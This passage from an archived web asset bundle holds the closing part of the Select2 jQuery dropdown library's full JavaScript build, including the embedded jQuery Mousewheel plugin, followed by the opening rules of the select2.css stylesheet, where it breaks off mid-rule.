  Select2.prototype.destroy = function () {
    this.$container.remove();

    if (this.$element[0].detachEvent) {
      this.$element[0].detachEvent('onpropertychange', this._syncA);
    }

    if (this._observer != null) {
      this._observer.disconnect();
      this._observer = null;
    } else if (this.$element[0].removeEventListener) {
      this.$element[0]
        .removeEventListener('DOMAttrModified', this._syncA, false);
      this.$element[0]
        .removeEventListener('DOMNodeInserted', this._syncS, false);
      this.$element[0]
        .removeEventListener('DOMNodeRemoved', this._syncS, false);
    }

    this._syncA = null;
    this._syncS = null;

    this.$element.off('.select2');
    this.$element.attr('tabindex',
    Utils.GetData(this.$element[0], 'old-tabindex'));

    this.$element.removeClass('select2-hidden-accessible');
    this.$element.attr('aria-hidden', 'false');
    Utils.RemoveData(this.$element[0]);
    this.$element.removeData('select2');

    this.dataAdapter.destroy();
    this.selection.destroy();
    this.dropdown.destroy();
    this.results.destroy();

    this.dataAdapter = null;
    this.selection = null;
    this.dropdown = null;
    this.results = null;
  };

  Select2.prototype.render = function () {
    var $container = $(
      '<span class="select2 select2-container">' +
        '<span class="selection"></span>' +
        '<span class="dropdown-wrapper" aria-hidden="true"></span>' +
      '</span>'
    );

    $container.attr('dir', this.options.get('dir'));

    this.$container = $container;

    this.$container.addClass('select2-container--' + this.options.get('theme'));

    Utils.StoreData($container[0], 'element', this.$element);

    return $container;
  };

  return Select2;
});

S2.define('select2/compat/utils',[
  'jquery'
], function ($) {
  function syncCssClasses ($dest, $src, adapter) {
    var classes, replacements = [], adapted;

    classes = $.trim($dest.attr('class'));

    if (classes) {
      classes = '' + classes; // for IE which returns object

      $(classes.split(/\s+/)).each(function () {
        // Save all Select2 classes
        if (this.indexOf('select2-') === 0) {
          replacements.push(this);
        }
      });
    }

    classes = $.trim($src.attr('class'));

    if (classes) {
      classes = '' + classes; // for IE which returns object

      $(classes.split(/\s+/)).each(function () {
        // Only adapt non-Select2 classes
        if (this.indexOf('select2-') !== 0) {
          adapted = adapter(this);

          if (adapted != null) {
            replacements.push(adapted);
          }
        }
      });
    }

    $dest.attr('class', replacements.join(' '));
  }

  return {
    syncCssClasses: syncCssClasses
  };
});

S2.define('select2/compat/containerCss',[
  'jquery',
  './utils'
], function ($, CompatUtils) {
  // No-op CSS adapter that discards all classes by default
  function _containerAdapter (clazz) {
    return null;
  }

  function ContainerCSS () { }

  ContainerCSS.prototype.render = function (decorated) {
    var $container = decorated.call(this);

    var containerCssClass = this.options.get('containerCssClass') || '';

    if ($.isFunction(containerCssClass)) {
      containerCssClass = containerCssClass(this.$element);
    }

    var containerCssAdapter = this.options.get('adaptContainerCssClass');
    containerCssAdapter = containerCssAdapter || _containerAdapter;

    if (containerCssClass.indexOf(':all:') !== -1) {
      containerCssClass = containerCssClass.replace(':all:', '');

      var _cssAdapter = containerCssAdapter;

      containerCssAdapter = function (clazz) {
        var adapted = _cssAdapter(clazz);

        if (adapted != null) {
          // Append the old one along with the adapted one
          return adapted + ' ' + clazz;
        }

        return clazz;
      };
    }

    var containerCss = this.options.get('containerCss') || {};

    if ($.isFunction(containerCss)) {
      containerCss = containerCss(this.$element);
    }

    CompatUtils.syncCssClasses($container, this.$element, containerCssAdapter);

    $container.css(containerCss);
    $container.addClass(containerCssClass);

    return $container;
  };

  return ContainerCSS;
});

S2.define('select2/compat/dropdownCss',[
  'jquery',
  './utils'
], function ($, CompatUtils) {
  // No-op CSS adapter that discards all classes by default
  function _dropdownAdapter (clazz) {
    return null;
  }

  function DropdownCSS () { }

  DropdownCSS.prototype.render = function (decorated) {
    var $dropdown = decorated.call(this);

    var dropdownCssClass = this.options.get('dropdownCssClass') || '';

    if ($.isFunction(dropdownCssClass)) {
      dropdownCssClass = dropdownCssClass(this.$element);
    }

    var dropdownCssAdapter = this.options.get('adaptDropdownCssClass');
    dropdownCssAdapter = dropdownCssAdapter || _dropdownAdapter;

    if (dropdownCssClass.indexOf(':all:') !== -1) {
      dropdownCssClass = dropdownCssClass.replace(':all:', '');

      var _cssAdapter = dropdownCssAdapter;

      dropdownCssAdapter = function (clazz) {
        var adapted = _cssAdapter(clazz);

        if (adapted != null) {
          // Append the old one along with the adapted one
          return adapted + ' ' + clazz;
        }

        return clazz;
      };
    }

    var dropdownCss = this.options.get('dropdownCss') || {};

    if ($.isFunction(dropdownCss)) {
      dropdownCss = dropdownCss(this.$element);
    }

    CompatUtils.syncCssClasses($dropdown, this.$element, dropdownCssAdapter);

    $dropdown.css(dropdownCss);
    $dropdown.addClass(dropdownCssClass);

    return $dropdown;
  };

  return DropdownCSS;
});

S2.define('select2/compat/initSelection',[
  'jquery'
], function ($) {
  function InitSelection (decorated, $element, options) {
    if (options.get('debug') && window.console && console.warn) {
      console.warn(
        'Select2: The `initSelection` option has been deprecated in favor' +
        ' of a custom data adapter that overrides the `current` method. ' +
        'This method is now called multiple times instead of a single ' +
        'time when the instance is initialized. Support will be removed ' +
        'for the `initSelection` option in future versions of Select2'
      );
    }

    this.initSelection = options.get('initSelection');
    this._isInitialized = false;

    decorated.call(this, $element, options);
  }

  InitSelection.prototype.current = function (decorated, callback) {
    var self = this;

    if (this._isInitialized) {
      decorated.call(this, callback);

      return;
    }

    this.initSelection.call(null, this.$element, function (data) {
      self._isInitialized = true;

      if (!$.isArray(data)) {
        data = [data];
      }

      callback(data);
    });
  };

  return InitSelection;
});

S2.define('select2/compat/inputData',[
  'jquery',
  '../utils'
], function ($, Utils) {
  function InputData (decorated, $element, options) {
    this._currentData = [];
    this._valueSeparator = options.get('valueSeparator') || ',';

    if ($element.prop('type') === 'hidden') {
      if (options.get('debug') && console && console.warn) {
        console.warn(
          'Select2: Using a hidden input with Select2 is no longer ' +
          'supported and may stop working in the future. It is recommended ' +
          'to use a `<select>` element instead.'
        );
      }
    }

    decorated.call(this, $element, options);
  }

  InputData.prototype.current = function (_, callback) {
    function getSelected (data, selectedIds) {
      var selected = [];

      if (data.selected || $.inArray(data.id, selectedIds) !== -1) {
        data.selected = true;
        selected.push(data);
      } else {
        data.selected = false;
      }

      if (data.children) {
        selected.push.apply(selected, getSelected(data.children, selectedIds));
      }

      return selected;
    }

    var selected = [];

    for (var d = 0; d < this._currentData.length; d++) {
      var data = this._currentData[d];

      selected.push.apply(
        selected,
        getSelected(
          data,
          this.$element.val().split(
            this._valueSeparator
          )
        )
      );
    }

    callback(selected);
  };

  InputData.prototype.select = function (_, data) {
    if (!this.options.get('multiple')) {
      this.current(function (allData) {
        $.map(allData, function (data) {
          data.selected = false;
        });
      });

      this.$element.val(data.id);
      this.$element.trigger('change');
    } else {
      var value = this.$element.val();
      value += this._valueSeparator + data.id;

      this.$element.val(value);
      this.$element.trigger('change');
    }
  };

  InputData.prototype.unselect = function (_, data) {
    var self = this;

    data.selected = false;

    this.current(function (allData) {
      var values = [];

      for (var d = 0; d < allData.length; d++) {
        var item = allData[d];

        if (data.id == item.id) {
          continue;
        }

        values.push(item.id);
      }

      self.$element.val(values.join(self._valueSeparator));
      self.$element.trigger('change');
    });
  };

  InputData.prototype.query = function (_, params, callback) {
    var results = [];

    for (var d = 0; d < this._currentData.length; d++) {
      var data = this._currentData[d];

      var matches = this.matches(params, data);

      if (matches !== null) {
        results.push(matches);
      }
    }

    callback({
      results: results
    });
  };

  InputData.prototype.addOptions = function (_, $options) {
    var options = $.map($options, function ($option) {
      return Utils.GetData($option[0], 'data');
    });

    this._currentData.push.apply(this._currentData, options);
  };

  return InputData;
});

S2.define('select2/compat/matcher',[
  'jquery'
], function ($) {
  function oldMatcher (matcher) {
    function wrappedMatcher (params, data) {
      var match = $.extend(true, {}, data);

      if (params.term == null || $.trim(params.term) === '') {
        return match;
      }

      if (data.children) {
        for (var c = data.children.length - 1; c >= 0; c--) {
          var child = data.children[c];

          // Check if the child object matches
          // The old matcher returned a boolean true or false
          var doesMatch = matcher(params.term, child.text, child);

          // If the child didn't match, pop it off
          if (!doesMatch) {
            match.children.splice(c, 1);
          }
        }

        if (match.children.length > 0) {
          return match;
        }
      }

      if (matcher(params.term, data.text, data)) {
        return match;
      }

      return null;
    }

    return wrappedMatcher;
  }

  return oldMatcher;
});

S2.define('select2/compat/query',[

], function () {
  function Query (decorated, $element, options) {
    if (options.get('debug') && window.console && console.warn) {
      console.warn(
        'Select2: The `query` option has been deprecated in favor of a ' +
        'custom data adapter that overrides the `query` method. Support ' +
        'will be removed for the `query` option in future versions of ' +
        'Select2.'
      );
    }

    decorated.call(this, $element, options);
  }

  Query.prototype.query = function (_, params, callback) {
    params.callback = callback;

    var query = this.options.get('query');

    query.call(null, params);
  };

  return Query;
});

S2.define('select2/dropdown/attachContainer',[

], function () {
  function AttachContainer (decorated, $element, options) {
    decorated.call(this, $element, options);
  }

  AttachContainer.prototype.position =
    function (decorated, $dropdown, $container) {
    var $dropdownContainer = $container.find('.dropdown-wrapper');
    $dropdownContainer.append($dropdown);

    $dropdown.addClass('select2-dropdown--below');
    $container.addClass('select2-container--below');
  };

  return AttachContainer;
});

S2.define('select2/dropdown/stopPropagation',[

], function () {
  function StopPropagation () { }

  StopPropagation.prototype.bind = function (decorated, container, $container) {
    decorated.call(this, container, $container);

    var stoppedEvents = [
    'blur',
    'change',
    'click',
    'dblclick',
    'focus',
    'focusin',
    'focusout',
    'input',
    'keydown',
    'keyup',
    'keypress',
    'mousedown',
    'mouseenter',
    'mouseleave',
    'mousemove',
    'mouseover',
    'mouseup',
    'search',
    'touchend',
    'touchstart'
    ];

    this.$dropdown.on(stoppedEvents.join(' '), function (evt) {
      evt.stopPropagation();
    });
  };

  return StopPropagation;
});

S2.define('select2/selection/stopPropagation',[

], function () {
  function StopPropagation () { }

  StopPropagation.prototype.bind = function (decorated, container, $container) {
    decorated.call(this, container, $container);

    var stoppedEvents = [
      'blur',
      'change',
      'click',
      'dblclick',
      'focus',
      'focusin',
      'focusout',
      'input',
      'keydown',
      'keyup',
      'keypress',
      'mousedown',
      'mouseenter',
      'mouseleave',
      'mousemove',
      'mouseover',
      'mouseup',
      'search',
      'touchend',
      'touchstart'
    ];

    this.$selection.on(stoppedEvents.join(' '), function (evt) {
      evt.stopPropagation();
    });
  };

  return StopPropagation;
});

/*!
 * jQuery Mousewheel 3.1.13
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license
 * http://jquery.org/license
 */

(function (factory) {
    if ( typeof S2.define === 'function' && S2.define.amd ) {
        // AMD. Register as an anonymous module.
        S2.define('jquery-mousewheel',['jquery'], factory);
    } else if (typeof exports === 'object') {
        // Node/CommonJS style for Browserify
        module.exports = factory;
    } else {
        // Browser globals
        factory(jQuery);
    }
}(function ($) {

    var toFix  = ['wheel', 'mousewheel', 'DOMMouseScroll', 'MozMousePixelScroll'],
        toBind = ( 'onwheel' in document || document.documentMode >= 9 ) ?
                    ['wheel'] : ['mousewheel', 'DomMouseScroll', 'MozMousePixelScroll'],
        slice  = Array.prototype.slice,
        nullLowestDeltaTimeout, lowestDelta;

    if ( $.event.fixHooks ) {
        for ( var i = toFix.length; i; ) {
            $.event.fixHooks[ toFix[--i] ] = $.event.mouseHooks;
        }
    }

    var special = $.event.special.mousewheel = {
        version: '3.1.12',

        setup: function() {
            if ( this.addEventListener ) {
                for ( var i = toBind.length; i; ) {
                    this.addEventListener( toBind[--i], handler, false );
                }
            } else {
                this.onmousewheel = handler;
            }
            // Store the line height and page height for this particular element
            $.data(this, 'mousewheel-line-height', special.getLineHeight(this));
            $.data(this, 'mousewheel-page-height', special.getPageHeight(this));
        },

        teardown: function() {
            if ( this.removeEventListener ) {
                for ( var i = toBind.length; i; ) {
                    this.removeEventListener( toBind[--i], handler, false );
                }
            } else {
                this.onmousewheel = null;
            }
            // Clean up the data we added to the element
            $.removeData(this, 'mousewheel-line-height');
            $.removeData(this, 'mousewheel-page-height');
        },

        getLineHeight: function(elem) {
            var $elem = $(elem),
                $parent = $elem['offsetParent' in $.fn ? 'offsetParent' : 'parent']();
            if (!$parent.length) {
                $parent = $('body');
            }
            return parseInt($parent.css('fontSize'), 10) || parseInt($elem.css('fontSize'), 10) || 16;
        },

        getPageHeight: function(elem) {
            return $(elem).height();
        },

        settings: {
            adjustOldDeltas: true, // see shouldAdjustOldDeltas() below
            normalizeOffset: true  // calls getBoundingClientRect for each event
        }
    };

    $.fn.extend({
        mousewheel: function(fn) {
            return fn ? this.bind('mousewheel', fn) : this.trigger('mousewheel');
        },

        unmousewheel: function(fn) {
            return this.unbind('mousewheel', fn);
        }
    });


    function handler(event) {
        var orgEvent   = event || window.event,
            args       = slice.call(arguments, 1),
            delta      = 0,
            deltaX     = 0,
            deltaY     = 0,
            absDelta   = 0,
            offsetX    = 0,
            offsetY    = 0;
        event = $.event.fix(orgEvent);
        event.type = 'mousewheel';

        // Old school scrollwheel delta
        if ( 'detail'      in orgEvent ) { deltaY = orgEvent.detail * -1;      }
        if ( 'wheelDelta'  in orgEvent ) { deltaY = orgEvent.wheelDelta;       }
        if ( 'wheelDeltaY' in orgEvent ) { deltaY = orgEvent.wheelDeltaY;      }
        if ( 'wheelDeltaX' in orgEvent ) { deltaX = orgEvent.wheelDeltaX * -1; }

        // Firefox < 17 horizontal scrolling related to DOMMouseScroll event
        if ( 'axis' in orgEvent && orgEvent.axis === orgEvent.HORIZONTAL_AXIS ) {
            deltaX = deltaY * -1;
            deltaY = 0;
        }

        // Set delta to be deltaY or deltaX if deltaY is 0 for backwards compatabilitiy
        delta = deltaY === 0 ? deltaX : deltaY;

        // New school wheel delta (wheel event)
        if ( 'deltaY' in orgEvent ) {
            deltaY = orgEvent.deltaY * -1;
            delta  = deltaY;
        }
        if ( 'deltaX' in orgEvent ) {
            deltaX = orgEvent.deltaX;
            if ( deltaY === 0 ) { delta  = deltaX * -1; }
        }

        // No change actually happened, no reason to go any further
        if ( deltaY === 0 && deltaX === 0 ) { return; }

        // Need to convert lines and pages to pixels if we aren't already in pixels
        // There are three delta modes:
        //   * deltaMode 0 is by pixels, nothing to do
        //   * deltaMode 1 is by lines
        //   * deltaMode 2 is by pages
        if ( orgEvent.deltaMode === 1 ) {
            var lineHeight = $.data(this, 'mousewheel-line-height');
            delta  *= lineHeight;
            deltaY *= lineHeight;
            deltaX *= lineHeight;
        } else if ( orgEvent.deltaMode === 2 ) {
            var pageHeight = $.data(this, 'mousewheel-page-height');
            delta  *= pageHeight;
            deltaY *= pageHeight;
            deltaX *= pageHeight;
        }

        // Store lowest absolute delta to normalize the delta values
        absDelta = Math.max( Math.abs(deltaY), Math.abs(deltaX) );

        if ( !lowestDelta || absDelta < lowestDelta ) {
            lowestDelta = absDelta;

            // Adjust older deltas if necessary
            if ( shouldAdjustOldDeltas(orgEvent, absDelta) ) {
                lowestDelta /= 40;
            }
        }

        // Adjust older deltas if necessary
        if ( shouldAdjustOldDeltas(orgEvent, absDelta) ) {
            // Divide all the things by 40!
            delta  /= 40;
            deltaX /= 40;
            deltaY /= 40;
        }

        // Get a whole, normalized value for the deltas
        delta  = Math[ delta  >= 1 ? 'floor' : 'ceil' ](delta  / lowestDelta);
        deltaX = Math[ deltaX >= 1 ? 'floor' : 'ceil' ](deltaX / lowestDelta);
        deltaY = Math[ deltaY >= 1 ? 'floor' : 'ceil' ](deltaY / lowestDelta);

        // Normalise offsetX and offsetY properties
        if ( special.settings.normalizeOffset && this.getBoundingClientRect ) {
            var boundingRect = this.getBoundingClientRect();
            offsetX = event.clientX - boundingRect.left;
            offsetY = event.clientY - boundingRect.top;
        }

        // Add information to the event object
        event.deltaX = deltaX;
        event.deltaY = deltaY;
        event.deltaFactor = lowestDelta;
        event.offsetX = offsetX;
        event.offsetY = offsetY;
        // Go ahead and set deltaMode to 0 since we converted to pixels
        // Although this is a little odd since we overwrite the deltaX/Y
        // properties with normalized deltas.
        event.deltaMode = 0;

        // Add event and delta to the front of the arguments
        args.unshift(event, delta, deltaX, deltaY);

        // Clearout lowestDelta after sometime to better
        // handle multiple device types that give different
        // a different lowestDelta
        // Ex: trackpad = 3 and mouse wheel = 120
        if (nullLowestDeltaTimeout) { clearTimeout(nullLowestDeltaTimeout); }
        nullLowestDeltaTimeout = setTimeout(nullLowestDelta, 200);

        return ($.event.dispatch || $.event.handle).apply(this, args);
    }

    function nullLowestDelta() {
        lowestDelta = null;
    }

    function shouldAdjustOldDeltas(orgEvent, absDelta) {
        // If this is an older event and the delta is divisable by 120,
        // then we are assuming that the browser is treating this as an
        // older mouse wheel event and that we should divide the deltas
        // by 40 to try and get a more usable deltaFactor.
        // Side note, this actually impacts the reported scroll distance
        // in older browsers and can cause scrolling to be slower than native.
        // Turn this off by setting $.event.special.mousewheel.settings.adjustOldDeltas to false.
        return special.settings.adjustOldDeltas && orgEvent.type === 'mousewheel' && absDelta % 120 === 0;
    }

}));

S2.define('jquery.select2',[
  'jquery',
  'jquery-mousewheel',

  './select2/core',
  './select2/defaults',
  './select2/utils'
], function ($, _, Select2, Defaults, Utils) {
  if ($.fn.select2 == null) {
    // All methods that should return the element
    var thisMethods = ['open', 'close', 'destroy'];

    $.fn.select2 = function (options) {
      options = options || {};

      if (typeof options === 'object') {
        this.each(function () {
          var instanceOptions = $.extend(true, {}, options);

          var instance = new Select2($(this), instanceOptions);
        });

        return this;
      } else if (typeof options === 'string') {
        var ret;
        var args = Array.prototype.slice.call(arguments, 1);

        this.each(function () {
          var instance = Utils.GetData(this, 'select2');

          if (instance == null && window.console && console.error) {
            console.error(
              'The select2(\'' + options + '\') method was called on an ' +
              'element that is not using Select2.'
            );
          }

          ret = instance[options].apply(instance, args);
        });

        // Check if we should be returning `this`
        if ($.inArray(options, thisMethods) > -1) {
          return this;
        }

        return ret;
      } else {
        throw new Error('Invalid arguments for Select2: ' + options);
      }
    };
  }

  if ($.fn.select2.defaults == null) {
    $.fn.select2.defaults = Defaults;
  }

  return Select2;
});

  // Return the AMD loader configuration so it can be used outside of this file
  return {
    define: S2.define,
    require: S2.require
  };
}());

  // Autoload the jQuery bindings
  // We know that all of the modules exist above this, so we're safe
  var select2 = S2.require('jquery.select2');

  // Hold the AMD module references on the jQuery function that was just loaded
  // This allows Select2 to use the internal loader outside of this file, such
  // as in the language files.
  jQuery.fn.select2.amd = S2;

  // Return the Select2 instance for anyone who is importing it.
  return select2;
}));
css/select2.css000064400000043233151677410160007424 0ustar00.select2-container {
  box-sizing: border-box;
  display: inline-block;
  margin: 0;
  position: relative;
  vertical-align: middle; }
  .select2-container .select2-selection--single {
    box-sizing: border-box;
    cursor: pointer;
    display: block;
    height: 28px;
    user-select: none;
    -webkit-user-select: none; }
    .select2-container .select2-selection--single .select2-selection__rendered {
      display: block;
      padding-left: 8px;
      padding-right: 20px;
      overflow: hidden;
      text-overflow: ellipsis;
      white-space: nowrap; }
    .select2-container .select2-selection--single .select2-selection__clear {
      position: relative; }
  .select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered {
    padding-right: 8px;
    padding-left: 20px; }
  .select2-container .select2-selection--multiple {
    box-sizing: border-box;
    cursor: pointer;
    display: block;
    min-height: 32px;
    user-select: none;
    -webkit-user-select: none; }
    .select2-container .select2-selection--multiple .select2-selection__rendered {
      display: inline-block;
      overflow: hidden;
      padding-left: 8px;
      text-overflow: ellipsis;
      white-space: nowrap; }
  .select2-container .select2-search--inline {
    float: left; }
    .select2-container .select2-search--inline .select2-search__field {
      box-sizing: border-box;
      border: none;
      font-size: 100%;
      margin-top: 5px;
      padding: 0; }
      .select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button {
        -webkit-appearance: none; }

.select2-dropdown {
  background-color: white;
  border: 1px solid #aaa;
  border-radius: 4px;
  box-sizing: border-box;
  display: block;
  position: absolute;
  left: -100000px;
  width: 100%;
  z-index: 1051; }

.select2-results {
  display: block; }

.select2-results__options {
  list-style: none;
  margin: 0;
  padding: 0; }

.select2-results__option {
  padding: 6px;
  user-select: none;
  -webkit-user-select: none; }
  .select2-results__option[aria-selected] {
    cursor: pointer; }

.select2-container--open .select2-dropdown {
  left: 0; }

.select2-container--open .select2-dropdown--above {
  border-bottom: none;
  border-bottom-left-radius: 0;
  border-bottom-right-radius: 0; }

.select2-container--open .select2-dropdown--below {
  border-top: none;
  border-top-left-radius: 0;
  border-top-right-radius: 0; }

.select2-search--dropdown {
  display: block;
  padding: 4px; }
  .select2-search--dropdown .select2-search__field {
    padding: 4px;
    width: 100%;
    box-sizing: border-box; }
    .select2-search--dropdown .select2-search__field::-webkit-search-cancel-button {
      -webkit-appearance: none; }
  .select2-search--dropdown.select2-search--hide {
    display: none; }

.select2-close-mask {
  border: 0;
  margin: 0;
  padding: 0;
  display: block;
  position: fixed;
  left: 0;
  top: 0;
  min-height: 100%;
  min-width: 100%;
  height: auto;
  width: auto;
  opacity: 0;
  z-index: 99;
  background-color: #fff;
  filter: alpha(opacity=0); }

.select2-hidden-accessible {
  border: 0 !important;
  clip: rect(0 0 0 0) !important;
  -webkit-clip-path: inset(50%) !important;
  clip-path: inset(50%) !important;
  height: 1px !important;
  overflow: hidden !important;
  padding: 0 !important;
  position: absolute !important;
  width: 1px !important;
  white-space: nowrap !important; }

.select2-container--default .select2-selection--single {
  background-color: #fff;
  border: 1px solid #aaa;
  border-radius: 4px; }
  .select2-container--default .select2-selection--single .select2-selection__rendered {
    color: #444;
    line-height: 28px; }
  .select2-container--default .select2-selection--single .select2-selection__clear {
    cursor: pointer;
    float: right;
    font-weight: bold; }
  .select2-container--default .select2-selection--single .select2-selection__placeholder {
    color: #999; }
  .select2-container--default .select2-selection--single .select2-selection__arrow {
    height: 26px;
    position: absolute;
    top: 1px;
    right: 1px;
    width: 20px; }
    .select2-container--default .select2-selection--single .select2-selection__arrow b {
      border-color: #888 transparent transparent transparent;
      border-style: solid;
      border-width: 5px 4px 0 4px;
      height: 0;
      left: 50%;
      margin-left: -4px;
      margin-top: -2px;
      position: absolute;
      top: 50%;
      width: 0; }

.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__clear {
  float: left; }

.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__arrow {
  left: 1px;
  right: auto; }

.select2-container--default.select2-container--disabled .select2-selection--single {
  background-color: #eee;
  cursor: default; }
  .select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear {
    display: none; }

.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b {
  border-color: transparent transparent #888 transparent;
  border-width: 0 4px 5px 4px; }

.select2-container--default .select2-selection--multiple {
  background-color: white;
  border: 1px solid #aaa;
  border-radius: 4px;
  cursor: text; }
  .select2-container--default .select2-selection--multiple .select2-selection__rendered {
    box-sizing: border-box;
    list-style: none;
    margin: 0;
    padding: 0 5px;
    width: 100%; }
    .select2-container--default .select2-selection--multiple .select2-selection__rendered li {
      list-style: none; }
  .select2-container--default .select2-selection--multiple .select2-selection__placeholder {
    color: #999;
    margin-top: 5px;
    float: left; }
  .select2-container--default .select2-selection--multiple .select2-selection__clear {
    cursor: pointer;
    float: right;
    font-weight: bold;
    margin-top: 5px;
    margin-right: 10px; }
  .select2-container--default .select2-selection--multiple .select2-selection__choice {
    background-color: #e4e4e4;
    border: 1px solid #aaa;
    border-radius: 4px;
    cursor: default;
    float: left;
    margin-right: 5px;
    margin-top: 5px;
    padding: 0 5px; }
  .select2-container--default .select2-selection--multiple .select2-selection__choice__remove {
    color: #999;
    cursor: pointer;
    display: inline-block;
    font-weight: bold;
    margin-right: 2px; }
    .select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover {
      color: #333; }

.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice, .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__placeholder, .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-search--inline {
  float: right; }

.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice {
  margin-left: 5px;
  margin-right: auto; }

.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove {
  margin-left: 2px;
  margin-right: auto; }

.select2-container--default.select2-container--focus .select2-selection--multiple {
  border: solid black 1px;
  outline: 0; }

.select2-container--default.select2-container--disabled .select2-selection--multiple {
  background-color: #eee;
  cursor: default; }

.select2-container--default.select2-container--disabled .select2-selection__choice__remove {
  display: none; }

.select2-container--default.select2-container--open.select2-container--above .select2-selection--single, .select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple {
  border-top-left-radius: 0;
  border-top-right-radius: 0; }

.select2-container--default.select2-container--open.select2-container--below .select2-selection--single, .select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple {
  border-bottom-left-radius: 0;
  border-bottom-right-radius: 0; }

.select2-container--default .select2-search--dropdown .select2-search__field {
  border: 1px solid #aaa; }

.select2-container--default .select2-search--inline .select2-search__field {
  background: transparent;
  border: none;
  outline: 0;
  box-shadow: none;
  -webkit-appearance: textfield; }

.select2-container--default .select2-results > .select2-results__options {
  max-height: 200px;
  overflow-y: auto; }

.select2-container--default .select2-results__option[role=group] {
  padding: 0; }

.select2-container--default .select2-results__option[aria-disabled=true] {
  color: #999; }

.select2-container--default .select2-results__option[aria-selected=true] {
  background-color: #ddd; }

.select2-container--default .select2-results__option .select2-results__option {
  padding-left: 1em; }
  .select2-container--default .select2-results__option .select2-results__option .select2-results__group {
    padding-left: 0; }
  .select2-container--default .select2-results__option .select2-results__option .select2-results__option {
    margin-left: -1em;
    padding-left: 2em; }
    .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option {
      margin-left: -2em;
      padding-left: 3em; }
      .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option {
        margin-left: -3em;
        padding-left: 4em; }
        .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option {
          margin-left: -4em;
          padding-left: 5em; }
          .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option {
            margin-left: -5em;
            padding-left: 6em; }

.select2-container--default .select2-results__option--highlighted[aria-selected] {
  background-color: #5897fb;
  color: white; }

.select2-container--default .select2-results__group {
  cursor: default;
  display: block;
  padding: 6px; }

.select2-container--classic .select2-selection--single {
  background-color: #f7f7f7;
  border: 1px solid #aaa;
  border-radius: 4px;
  outline: 0;
  background-image: -webkit-linear-gradient(top, white 50%, #eeeeee 100%);
  background-image: -o-linear-gradient(top, white 50%, #eeeeee 100%);
  background-image: linear-gradient(to bottom, white 50%, #eeeeee 100%);
  background-repeat: repeat-x;
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); }
  .select2-container--classic .select2-selection--single:focus {
    border: 1px solid #5897fb; }
  .select2-container--classic .select2-selection--single .select2-selection__rendered {
    color: #444;
    line-height: 28px; }
  .select2-container--classic .select2-selection--single .select2-selection__clear {
    cursor: pointer;
    float: right;
    font-weight: bold;
    margin-right: 10px; }
  .select2-container--classic .select2-selection--single .select2-selection__placeholder {
    color: #999; }
  .select2-container--classic .select2-selection--single .select2-selection__arrow {
    background-color: #ddd;
    border: none;
    border-left: 1px solid #aaa;
    border-top-right-radius: 4px;
    border-bottom-right-radius: 4px;
    height: 26px;
    position: absolute;
    top: 1px;
    right: 1px;
    width: 20px;
    background-image: -webkit-linear-gradient(top, #eeeeee 50%, #cccccc 100%);
    background-image: -o-linear-gradient(top, #eeeeee 50%, #cccccc 100%);
    background-image: linear-gradient(to bottom, #eeeeee 50%, #cccccc 100%);
    background-repeat: repeat-x;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0); }
    .select2-container--classic .select2-selection--single .select2-selection__arrow b {
      border-color: #888 transparent transparent transparent;
      border-style: solid;
      border-width: 5px 4px 0 4px;
      height: 0;
      left: 50%;
      margin-left: -4px;
      margin-top: -2px;
      position: absolute;
      top: 50%;
      width: 0; }

.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear {
  float: left; }

.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow {
  border: none;
  border-right: 1px solid #aaa;
  border-radius: 0;
  border-top-left-radius: 4px;
  border-bottom-left-radius: 4px;
  left: 1px;
  right: auto; }

.select2-container--classic.select2-container--open .select2-selection--single {
  border: 1px solid #5897fb; }
  .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow {
    background: transparent;
    border: none; }
    .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b {
      border-color: transparent transparent #888 transparent;
      border-width: 0 4px 5px 4px; }

.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single {
  border-top: none;
  border-top-left-radius: 0;
  border-top-right-radius: 0;
  background-image: -webkit-linear-gradient(top, white 0%, #eeeeee 50%);
  background-image: -o-linear-gradient(top, white 0%, #eeeeee 50%);
  background-image: linear-gradient(to bottom, white 0%, #eeeeee 50%);
  background-repeat: repeat-x;
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); }

.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single {
  border-bottom: none;
  border-bottom-left-radius: 0;
  border-bottom-right-radius: 0;
  background-image: -webkit-linear-gradient(top, #eeeeee 50%, white 100%);
  background-image: -o-linear-gradient(top, #eeeeee 50%, white 100%);
  background-image: linear-gradient(to bottom, #eeeeee 50%, white 100%);
  background-repeat: repeat-x;
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0); }

.select2-container--classic .select2-selection--multiple {
  background-color: white;
  border: 1px solid #aaa;
  border-radius: 4px;
  cursor: text;
  outline: 0; }
  .select2-container--classic .select2-selection--multiple:focus {
    border: 1px solid #5897fb; }
  .select2-container--classic .select2-selection--multiple .select2-selection__rendered {
